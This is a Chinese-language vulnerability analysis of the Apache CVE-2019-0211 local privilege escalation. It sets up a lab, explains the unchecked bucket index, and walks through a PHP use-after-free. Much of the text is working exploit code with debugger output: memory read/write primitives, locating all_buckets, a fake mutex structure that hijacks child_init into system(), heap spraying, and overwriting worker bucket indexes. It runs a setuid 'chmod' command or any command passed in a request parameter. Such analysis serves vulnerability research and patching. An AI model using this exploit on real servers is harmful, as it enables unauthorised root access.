Apache 'logrotate' 本地提权漏洞分析(CVE-2019-0211)

 

1.复现环境搭建

安装虚拟机

系统镜像下载

QEMU安装
#  创建虚拟机硬盘
$ qemu-img create -f qcow2 ubuntu18.04.4.img 10G


# 安装虚拟机
$ qemu-system-x86_64  -m 2048 -hda ubuntu18.04.4.img -cdrom ./ubuntu-18.04.4-desktop-amd64.iso


# 启动虚拟机
$ qemu-system-x86_64 -m 2048  ubuntu18.04.4.i

安装apache

sudo apt -y install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4 apache2-dbg=2.4.29-1ubuntu4

安装php

sudo apt-get -y install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get -y install php7.1

配置apache

# Apache监听多个端口(非常重要)
sudo sed -i 's,Listen 80,Listen 80nListen 8080,' /etc/apache2/ports.conf

启动apache

$ sudo apachectl restart
$ ps -axu|grep apache
root      27041  ...  /usr/sbin/apache2 -k start
www-data  27042  ...  /usr/sbin/apache2 -k start
www-data  27043  ...  /usr/sbin/apache2 -k start
www-data  27044  ...  /usr/sbin/apache2 -k start
www-data  27045  ...  /usr/sbin/apache2 -k start
www-data  27046  ...  /usr/sbin/apache2 -k start

 

2. 漏洞原理概述

  • Apache的主进程会以root权限运行,它会管理一个低权限的worker进程池,这些worker进程用于处理http请求。
  • server进程通过一个位于SHM( shared-memory area) 的scoreboard结构体获取worker进程相关信息。
  • 每个worker进程对这个SHM是可读可写的,它们在SHM中维护一个process_score结构体。
  • process_score结构体包含一个bucket字段,保存的是主进程all_buckets数组的索引值,all_buckets[index]对应的是一个prefork_child_bucket结构体。
  • 当Apache gracefully restart时,会kill掉所有的worker进程,替换成新的woker进程,这个过程会调用prefork_child_bucket->mutext->meth->child_init()函数
  • 由于没有做数组边界检查,恶意的worker进程可以设置任意的bucket值,让其指向一个我们控制的prefork_child_bucket结构体,进而修改prefork_child_bucket->mutex->meth->child_init函数指针,最终当Apache gracefully restart时,会执行修改过的child_init函数,进而可以实现权限提升。

上述提到的相关结构体和进程信息:

$ ps -aux|grep apache|grep -v grep
root        780  ... /usr/sbin/apache2 -k start
www-data  19716  ... /usr/sbin/apache2 -k start
www-data  19717  ... /usr/sbin/apache2 -k start
root # cat /proc/780/maps | grep rw-s
7ff6154be000-7ff615501000 rw-s 00000000 00:01 40010                      /dev/zero (deleted)
7ff615501000-7ff61557f000 rw-s 00000000 00:01 867451                     /dev/zero (deleted)


// httpd/include/scoreboard.h 
typedef struct {
    global_score *global;
    process_score *parent;
    worker_score **servers;
} scoreboard;

struct process_score {
    pid_t pid;                                              
    ap_generation_t generation;             
    char quiescing;                                     
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; 
}

// httpd/server/mpm/prefork/prefork.c
typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;
static prefork_child_bucket *all_buckets, /* All listeners buckets */
                            *my_bucket;   /* Current child bucket */
// apr/include/arch/unix/apr_arch_proc_mutex.h
struct apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; 
    int curr_locked;
    char *fname;
    ...
}

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

漏洞代码流程

// httpd-2.4.38/server/mpm/prefork/prefork.c

// 调用栈:
// prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);


typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;


static prefork_child_bucket *all_buckets, /* All listeners buckets */
                            *my_bucket;   /* Current child bucket */


static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
  ...
  apr_proc_t pid;
    ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);
  ...
    child_slot = ap_find_child_by_pid(&pid);
  ...   
    make_child(ap_server_conf, child_slot, ap_get_scoreboard_process(child_slot)->bucket);
  ...
}


static int make_child(server_rec *s, int slot, int bucket)
{
    ...

    my_bucket = &all_buckets[bucket];
  ...
  child_main(slot, bucket);
  ...
}

static void child_main(int child_num_arg, int child_bucket)
{
  ...
  status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
                                    apr_proc_mutex_lockfile(my_bucket->mutex),
                                    pchild));
  ...
}

// apr/locks/unix/proc_mutex.c
// https://github.com/apache/apr/blob/trunk/locks/unix/proc_mutex.c#L1560
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
                                                    const char *fname,
                                                    apr_pool_t *pool)
{
    return (*mutex)->meth->child_init(mutex, pool, fname);
}

 

3. PoC原理

这里只是简单说一下PHP UAF的PoC

$ cat uaf.php 
<?php
function o($msg)
{
    print($msg);
    print("n");
}


function ptr2str($ptr, $m=8)
{
    $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}


class Z implements JsonSerializable
{
    public function jsonSerialize()
    {
        global $y, $addresses, $workers_pids;

        $_protector = ptr2str(0, 78);

        $this->abc = ptr2str(0, 79);

        $p = new DateInterval('PT1S');

        unset($y[0]);

        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');

        $x->y = 0x00;
        # zend_string.len
        $x->d = 0x100;
        # zend_string.val[0-4]
        $x->h = 0x13121110;


        # Verify UAF was successful
        # We modified stuff via $x; they should be visible by $this->abc, since
        # they are at the same memory location.
        if(!(
            strlen($this->abc) === $x->d &&
            $this->abc[0] == "x10" &&
            $this->abc[1] == "x11" &&
            $this->abc[2] == "x12" &&
            $this->abc[3] == "x13"
        ))
        {
            o('UAF failed, exiting.');
            exit();
        }
        o('UAF successful.');
        o('');
    }
}


function test_uaf()
{
    global $y;
    $y = [new Z()];
    json_encode([0 => &$y]);
}

test_uaf();
?>

$ php -v
PHP 7.2.13 (cli) (built: Apr 28 2020 20:54:07) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
$ php uaf.php 
UAF successful.

通过DateInterval对象$x操纵已经释放的zend_string对象$this->abc,然后通过$x控制$this->abc的长度(php内部结构体zend_string的len字段,在php代码中是不可修改的)。

需要注意一点:$this->abc是创建的当前对象的成员变量,内存空间会随着当前对象的释放一起释放,但是$_protector这样的函数局部变量不会。

DateInterval内部实现包含一个timelib_rel_time结构体,它的大小跟创建的zend_string属于同一个fastbin(0x70)

#include <stdio.h>
typedef signed long long timelib_sll;

typedef struct _timelib_rel_time {
    timelib_sll y, m, d; /* Years, Months and Days */
    timelib_sll h, i, s; /* Hours, mInutes and Seconds */
    timelib_sll us;      /* Microseconds */

    int weekday; 
    int weekday_behavior; 


    int first_last_day_of;
    int invert; 
    timelib_sll days; 

    struct {
        unsigned int type;
        timelib_sll amount;
    } special;

    unsigned int   have_weekday_relative, have_special_relative;
} timelib_rel_time;


int main(){
    printf("%lun", sizeof(timelib_rel_time));
}

$ ./a.out
104

这部分内容由于没有弄好PHP内核调试环境,还有待补充和校验,欢迎大佬们给出些建议。

 

4. EXP原理

漏洞利用思路

通过worker进程在SHM中构造prefork_child_bucket结构体,使prefork_child_bucket.mutex->meth的child_init函数指针指向zend_object_std_dtor函数;


typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;


struct apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth;
    ...
}

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

将child_init的第一个参数(&my_bucket->mutex)修改为zend_object_std_dtor的参数(zend_object *object),并借助zend_object_std_dtor执行system函数;


typedef struct _zend_object     zend_object;


struct _zend_object {
    zend_refcounted_h gc;           //  8字节
    uint32_t          handle; 
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};


typedef struct _zend_array HashTable;


struct _zend_array {
    zend_refcounted_h gc;  // 8字节
    union {                // 4字节
        struct {
...
        } v;
        uint32_t flags;
    } u;
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};


typedef struct _Bucket {
    zval              val;
    zend_ulong        h;                /* hash value (or numeric index)   */
    zend_string      *key;              /* string key or NULL for numerics */
} Bucket;

修改worker进程的process_score->bucket( => index) 使Apache主进程的 all_buckets[index] 指向我们构造的 prefork_child_bucket结构体;
进而将正常执行流程:

prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);

替换为:

prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> zend_object_std_dtor(&my_bucket->mutex) -> system("system cmd")

劫持后的代码流程:


ZEND_API void zend_object_std_dtor(zend_object *object)
{
    ...
    zend_array_destroy(object->properties);
    ... 
}


ZEND_API void ZEND_FASTCALL zend_array_destroy(HashTable *ht)
{
  ...
  zend_hash_destroy(ht);
  ...
}


ZEND_API void ZEND_FASTCALL zend_hash_destroy(HashTable *ht)
{
    Bucket *p, *end;
    ...
    p = ht->arData;
    ...
    ht->pDestructor(&p->val);
    ...
}

ZEND_API void zend_object_std_dtor(zend_object *object)
    -> zend_array_destroy(object->properties);
        -> zend_hash_destroy(object->properties);
            -> system(&object->properties->arData->val)

(char *)&object->properties->arData->val 等同于 (char *)arData

具体实现

EXP源码

概述

  • get_all_addresses 函数获取漏洞利用需要的内存地址
  • get_workers_pids 函数获取当前系统的所以worker进程的pid
  • class Z实现了JsonSerializable接口的jsonSerialize函数
  • real函数通过创建class Z 对象$y并调用json_encode执行class Z的jsonSerialize函数
<?php
function real()
{
    global $y;
    $y = [new Z()];
    json_encode([0 => &$y]);
}


class Z implements JsonSerializable
{
  public function jsonSerialize()
  {
    ...
  }
  ... 
}  

function get_all_addresses()
{
  ...  
}  
function get_workers_pids()
{
  ...  
}  


$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();

工具函数说明

str2ptr

可以简单理解为读取一个指针$str偏移$p处的8个字节的ulong

<?php
function o($msg)
{
    # No concatenation -> no string allocation
    print($msg);
    print("n");
}


function str2ptr(&$str, $p, $s=8)
{
    $address = 0;
    for($j=$s-1;$j>=0;$j--)
    {
        $address <<= 8;
        o('0x'.dechex(ord($str[$p+$j])));
        $address |= ord($str[$p+$j]);
    }
    return $address;
}


$abc = "12345678";
$addr = str2ptr($abc, 0);
o('0x'.dechex($addr));
?>  

 /*
0x38
0x37
0x36
0x35
0x34
0x33
0x32
0x31
0x3837363534333231


>>> ord('8')
56
>>> hex(56)
'0x38'
*/


<?php
...
$addr = str2ptr($abc, 2);
o('0x'.dechex($addr));
?>  

/*
0x0
0x0
0x38
0x37
0x36
0x35
0x34
0x33
0x383736353433
*/
ptr2str

主要用于创建一个$m字节的zend_string(zend_string.len = $m)

<?php
function ptr2str($ptr, $m=8)
{
        $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}


$_protector = ptr2str(0, 78);
print($_protector . " " . strlen($_protector) . "n");


echo ptr2str(0x616263);


?>

/*
 78
cba
*/
find_symbol

根据动态库文件中库函数的偏移,计算当前进程内存空间中对应库函数的内存地址

get_all_addresses

获取了下面这些地址:

1.大小在0x10000 ~ 0x16000 之间的worker进程shm地址范围,保存到$addresses[‘shm’]

原理:

# cat /proc/44875/maps |grep '/dev/zero'  
7fefaaed9000-7fefb2ed9000 rw-s 00000000 00:01 385061                     /dev/zero (deleted)
7fefc1116000-7fefc112a000 rw-s 00000000 00:01 235954                     /dev/zero (deleted)

$addresses['shm'] -> [7fefc1116000, 7fefc112a000]

作用:

  • worker进程的process_score(ap_scoreboard_image.parent[i])存放的位置
  • 堆喷射的内存区域(SHM 的空闲区域)

2.libc-*.so的加载地址,计算根据偏移system函数地址,保存到$addresses['system']

原理:

同样通过/proc/pid/maps获取libc-*.so的绝对路径,然后从.so文件中定位system函数的偏移,进而计算它在内存中的地址

作用: 最后任意函数调用的目标函数

3.获取libapr-1.so的可执行区域和只读区域的内存加载地址范围,保存到$addresses['libaprX']$addresses['libaprR']

原理:同样,通过/proc/pid/maps匹配字符串获取

# cat /proc/44875/maps |grep libapr-1.so | grep r-xp
7fefc096a000-7fefc099d000 r-xp 00000000 08:01 2113254                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3

# cat /proc/44875/maps |grep libapr-1.so | grep r--p
7fefc0b9d000-7fefc0b9e000 r--p 00033000 08:01 2113254                    /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3

作用:用于定位all_buckets

4.获取Apache进程的内存区域 $addresses[‘apache’]

# cat /proc/44875/maps |grep rw-p  |grep -v /lib
# cat /proc/44875/maps |grep rwxp  |grep -v /lib

作用:用于定位all_buckets

5.获取libphp*.so加载地址和路径,通过zend_object_std_dtor的偏移计算其加载地址,保存到$addresses[‘zend_object_std_dtor’]

作用:作为任意函数执行的跳板函数

完整的地址获取结果:

PID: 44874 

Fetching addresses 
    zend_object_std_dtor: 0x7fefbd49c120 
    system: 0x7fefc03a9440 
    libaprX: 0x7fefc096a000-0x7fefc099d000 
    libaprR: 0x7fefc0b9d000-0x7fefc0b9e000 
    shm: 0x7fefc1116000-0x7fefc112a000 
    apache: 0x7fefc1168000-0x7fefc1263000
get_workers_pids

获取当前用户权限的所有worker的PID

核心函数说明

real通过class Z的jsonSerialize函数完成漏洞利用的核心逻辑

1.通过PHP UAF获取对worker进程内存的读写能力

class Z implements JsonSerializable
{
    public function jsonSerialize()
    {
        global $y, $addresses, $workers_pids;

        $contiguous = [];
        for($i=0;$i<10;$i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i=0;$i<10;$i++)
            $room[] = new Z();

        $_protector = ptr2str(0, 78);

        $this->abc = ptr2str(0, 79);

        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');

        $x->y = 0x00;
        # zend_string.len
        $x->d = 0x100;
        # zend_string.val[0-4]
        $x->h = 0x13121110;

        if(!(
            strlen($this->abc) === $x->d &&
            $this->abc[0] == "x10" &&
            $this->abc[1] == "x11" &&
            $this->abc[2] == "x12" &&
            $this->abc[3] == "x13"
        ))
        {
            o('UAF failed, exiting.');
            exit();
        }
        o('UAF successful.');
        o('');

        unset($room);

        $address = str2ptr($this->abc, 0x70 * 2 - 24);
        $address = $address - 0x70 * 3;
        $address = $address + 24;

        $distance = 
            max($addresses['apache'][1], $addresses['shm'][1]) -
            $address
        ;
        $x->d = $distance;
        ...
}

unset释放内存之前的堆内存布局:

这一步完成之后,后面就下面的方式访问任意内存了:
写入一个字节到$mem_addr:

$this->abc[$mem_addr - $address] = 'x';

从$mem_addr读取一个地址:

 str2ptr($this->abc, $mem_addr - $address);

2.通过特征定位all_buckets结构体

原理:all_buckets是worker进程的静态变量,所以遍历worker进程内存区域的每个8字节地址,根据all_buckets的结构,匹配指针所在区域,来定位all_buckets结构体。具体做了哪些匹配见下面代码和注释。

class Z implements JsonSerializable
{
    public function jsonSerialize()
    {

      ...
      # mutex在all_buckets结构体中的偏移是0x10
      # |all_buckets, mutex| = 0x10 
      # meth在mutex结构体中的偏移是0x08
      # |mutex, meth| = 0x8 

      # all_buckets is in apache's memory region
      # mutex is in apache's memory region
      # meth is in libaprR's memory region
      # meth's function pointers are in libaprX's memory region

      o('Looking for all_buckets in memory');
      $all_buckets = 0;

      for(
        $i = $addresses['apache'][0] + 0x10;
        $i < $addresses['apache'][1] - 0x08;
        $i += 8
      )   
      {
        # mutex
        # 判断当前获取的地址,即all_buckets->mutex是否在apache内存区域
        $mutex = $pointer = str2ptr($this->abc, $i - $address);
        if(!in($pointer, $addresses['apache']))
          continue;

        # meth
        # 判断all_buckets->mutex->meth是否在libaprR内存区域
        $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
        if(!in($pointer, $addresses['libaprR']))
          continue;
      ...

        # meth->*
        # flags
        # 判断all_buckets->mutex->meth->flags是否为0
        if(str2ptr($this->abc, $pointer - $address) != 0)
          continue;

        # methods
        # 判断all_buckets->mutex->meth->*的各个函数指针是否在libaprX区域
        for($j=0;$j<7;$j++)
        {
          $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
          if(!in($m, $addresses['libaprX']))
            continue 2;
          o('        [*]: 0x' . dechex($m));
        }

        # $i的地址是all_buckets->mutext的地址,所以all_buckets地址是$i-0x10
        $all_buckets = $i - 0x10;
        o('all_buckets = 0x' . dechex($all_buckets));
        break;
      }
      ...

   }
}

httpd-2.4.38/server/mpm/prefork/prefork.c

typedef struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex;
} prefork_child_bucket;
static prefork_child_bucket *all_buckets, /* All listeners buckets */
                            *my_bucket;   /* Current child bucket */

apr/include/arch/unix/apr_arch_proc_mutex.h

struct apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth;
    ...
}

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
};

可以通过这个脚本来测试:
链接:https://pan.baidu.com/s/1sr6k0S2X5XlFdPY7HOVRRw 密码:2e67

运行:

$ curl localhost/find_all_bkts.php
PID: 29123
Fetching addresses
  zend_object_std_dtor: 0x7fe7f1cbafb0
  system: 0x7fe7f4ba7440
  libaprX: 0x7fe7f5168000-0x0x7fe7f519b000
  libaprR: 0x7fe7f539b000-0x0x7fe7f539c000
  shm: 0x7fe7f5939000-0x0x7fe7f594d000
  apache: 0x7fe7f597e000-0x0x7fe7f5a61000


Triggering UAF
  Creating room and filling empty spaces
  Allocating $abc and $p
  Unsetting both variables and setting $protector
  Creating DateInterval object
UAF successful.


Address of $abc: 0x7fe7ed0904e8


Looking for all_buckets in memory
  [&mutex]: 0x7fe7f59fc1e0
    [mutex]: 0x7fe7f59fc330
      [meth]: 0x7fe7f539bb60
        [*]: 0x7fe7f51830d0
        [*]: 0x7fe7f5183070
        [*]: 0x7fe7f5183010
        [*]: 0x7fe7f5182fb0
        [*]: 0x7fe7f5182b30
        [*]: 0x7fe7f5182810
        [*]: 0x7fe7f5182f40
all_buckets = 0x7fe7f59fc1d0

root# gdb attach 29123
gdb-peda$ p all_buckets 
$1 = (prefork_child_bucket *) 0x7fe7f59fc1d0

3.构造和部署payload
先看看payload部署后的效果

$ curl localhost/carpediem.php
...
PID: 29260
...
Placing payload at address 0x7fe7f593c908
...
Spraying pointer
  Address: 0x7fe7f593c9d8
  From: 0x7fe7f593ca10
  To: 0x7fe7f594d000
  Size: 0x105f0
  Covered: 0x105f0
  Apache: 0xe3000
...
root# gdb attach 29260

# zend_object.properties->arData
# | zend_object.properties, arData | = 0x10
$ x /19xg 0x7fe7f593c908 
0x7fe7f593c908: 0x732b20646f6d6863  0x69622f7273752f20
0x7fe7f593c918: 0x6e6f687479702f6e  0x0000000000362e33
0x7fe7f593c928: 0x0000000000000000  0x0000000000000000
0x7fe7f593c938: 0x0000000000000000  0x0000000000000000
0x7fe7f593c948: 0x0000000000000000  0x0000000000000000
0x7fe7f593c958: 0x0000000000000000  0x0000000000000000
0x7fe7f593c968: 0x0000000000000000  0x0000000000000000
0x7fe7f593c978: 0x0000000000000000  0x0000000000000000
0x7fe7f593c988: 0x0000000000000000  0x0000000000000000
0x7fe7f593c998: 0x0000000000000000
$ x /1bs 0x7fe7f593c908
0x7fe7f593c908: "chmod +s /usr/bin/python3.6"
# prefork_child_bucket.mutext->meth
gdb-peda$ x /7xg 0x7fe7f593c908+152
0x7fe7f593c9a0: 0x0000000000000000  0x0000000000000000
0x7fe7f593c9b0: 0x0000000000000000  0x0000000000000000
0x7fe7f593c9c0: 0x0000000000000000  0x0000000000000000
0x7fe7f593c9d0: 0x00007fe7f1cbafb0
gdb-peda$ p zend_object_std_dtor
$1 = {<text variable, no debug info>} 0x7fe7f1cbafb0 <zend_object_std_dtor>
# zend_object.properties 
gdb-peda$ x /7xg (0x7fe7f593c908+152+8*7)
0x7fe7f593c9d8: 0x0000000000000001  0x00007fe7f593c9a0
0x7fe7f593c9e8: 0x00007fe7f593c908  0x0000000000000001
0x7fe7f593c9f8: 0x0000000000000000  0x0000000000000000
0x7fe7f593ca08: 0x00007fe7f4ba7440
gdb-peda$ p system
$2 = {int (const char *)} 0x7fe7f4ba7440 <__libc_system>
# sprayed area
gdb-peda$ x /10xg 0x7fe7f593ca10
0x7fe7f593ca10: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f593ca20: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f593ca30: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f593ca40: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f593ca50: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
gdb-peda$ x /10xg 0x7fe7f594d000-10*8
0x7fe7f594cfb0: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f594cfc0: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f594cfd0: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f594cfe0: 0x00007fe7f593c9d8  0x00007fe7f593c9d8
0x7fe7f594cff0: 0x00007fe7f593c9d8  0x00007fe7f593c9d8

payload构造代码
可以对照上一节的调试信息来看

    # 一个全0的八字节占位符,用于占据结构体指针字段的位置
    $z = ptr2str(0);

...
    # 构造payload的152字节,是具体要执行的命令
    $bucket = isset($_REQUEST['cmd']) ?
        $_REQUEST['cmd'] :
        "chmod +s /usr/bin/python3.5";
...
    $bucket = str_pad($bucket, $size_worker_score - 112, "x00");

    # 构造 apr_proc_mutex_unix_lock_methods_t
    # 即prefork_child_bucket.mutex->meth
    # 把meth->child_init函数修改为了zend_object_std_dtor

    $meth = 
        $z .
        $z .
        $z .
        $z .
        $z .
        $z .
        # child_init
        ptr2str($addresses['zend_object_std_dtor'])
    ;

    # 这个是作者很巧妙的一个设计,            
    # 由于可以喷射内存区域并不大,所以作者没有喷射完整的结构体,
    # 而是喷射了properties的地址,
    # 并让prefork_child_bucket.mutex
    # 指向的结构体(apr_proc_mutex_t)
    # 和zend_object.properties指向的结构体(HashTable)
    # 共享properties这块内存。
    # 最后的效果见下文。
    $properties = 
        # refcount
        ptr2str(1) .
        # u-nTableMask meth
        ptr2str($payload_start + strlen($bucket)) .
        # Bucket arData
        ptr2str($payload_start) .
        # uint32_t nNumUsed;
        ptr2str(1, 4) .
        # uint32_t nNumOfElements;
        ptr2str(0, 4) .
        # uint32_t nTableSize
        ptr2str(0, 4) .
        # uint32_t nInternalPointer
        ptr2str(0, 4) .
        # zend_long nNextFreeElement
        $z .
        # dtor_func_t pDestructor
        ptr2str($addresses['system'])
    ;


    $payload =
        $bucket .
        $meth .
        $properties
    ;

相关结构体和函数参考(可跳过):

php-7.2.13/Zend/zend_types.h
zend_object

typedef struct _zend_object     zend_object;

struct _zend_object {
    zend_refcounted_h gc;           //  8字节
    uint32_t          handle; 
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};
zend_object.properties

typedef struct _zend_array HashTable;

struct _zend_array {
    zend_refcounted_h gc;  // 8字节
    union {                    
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    flags,
                zend_uchar    nApplyCount,
                zend_uchar    nIteratorsCount,
                zend_uchar    consistency)
        } v;
        uint32_t flags;
    } u;
    uint32_t          nTableMask;
    Bucket           *arData;
    uint32_t          nNumUsed;
    uint32_t          nNumOfElements;
    uint32_t          nTableSize;
    uint32_t          nInternalPointer;
    zend_long         nNextFreeElement;
    dtor_func_t       pDestructor;
};

typedef struct _Bucket {
    zval              val;
    zend_ulong        h;                
    zend_string      *key;              
} Bucket;

typedef struct _zval_struct     zval;

struct _zval_struct {
    zend_value        value;            /* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,         /* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)     /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
        uint32_t     access_flags;         /* class constant access flags */
        uint32_t     property_guard;       /* single property guard */
        uint32_t     extra;                /* not further specified */
    } u2;
};
prefork_child_bucket.mutex->meth

struct apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

struct apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}

计算payload放置地址、堆喷射地址
大概意思就是算出SHM中可以利用的空闲内存区域,获取中间地址,然后计算中间地址和all_buckets起始地址的偏移,然后除以单个prefork_child_bucket结构体的大小24(all_buckets是prefork_child_bucket数组的首地址),得到要修改的index值(ap_scoreboard_image.parent[i]->bucket)

$size_prefork_child_bucket = 24;
$size_worker_score = 264;
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;


$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
  - ($all_buckets - $spray_middle) /
  $size_prefork_child_bucket
);

$payload_start = $spray_min - $size_worker_score;

将payload写入worker进程SHM空闲区域


o('Placing payload at address 0x' . dechex($payload_start));


$p = $payload_start - $address;
for(
  $i = 0;
  $i < strlen($payload);
  $i++
)
{
  $this->abc[$p+$i] = $payload[$i];
}

堆喷射payload中properties的地址

for(
  $i = $spray_min;
  $i < $spray_max;
  $i++
)
{
  // $address是$this->abc在内存中的地址
  $this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');

修改每个worker进程的bucket(ap_scoreboard_image->parent[i]->bucket)
ap_scoreboard_image->parent数组位于SHM 0x20偏移处

$ sudo cat  /proc/26053/maps|grep rw-s
7f5dbef6a000-7f5dbef7e000 rw-s 00000000 00:01 220623                     /dev/zero (deleted)

(gdb) p &ap_scoreboard_image->parent[0]
$4 = (process_score *) 0x7f5dbef6a020
(gdb) p ap_scoreboard_image->parent[0]
$3 = {pid = 26053, generation = 0, quiescing = 0 '00', not_accepting = 0 '00', connections = 0, write_completion = 0, 
  lingering_close = 0, keep_alive = 0, suspended = 0, bucket = -27764}
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
    $p = $addresses['shm'][0] + 0x20;
    $p < $addresses['shm'][1] && count($workers_pids) > 0;
    $p += 0x24
)
{
    $l = $p - $address;
    $current_pid = str2ptr($this->abc, $l, 4);
    o('Got PID: ' . $current_pid);
    # The PID matches one of the workers
    if(in_array($current_pid, $workers_pids))
    {
        unset($workers_pids[$current_pid]);
        o('  PID matches');
        # Update bucket address
        $s_bucket_index = pack('l', $bucket_index);
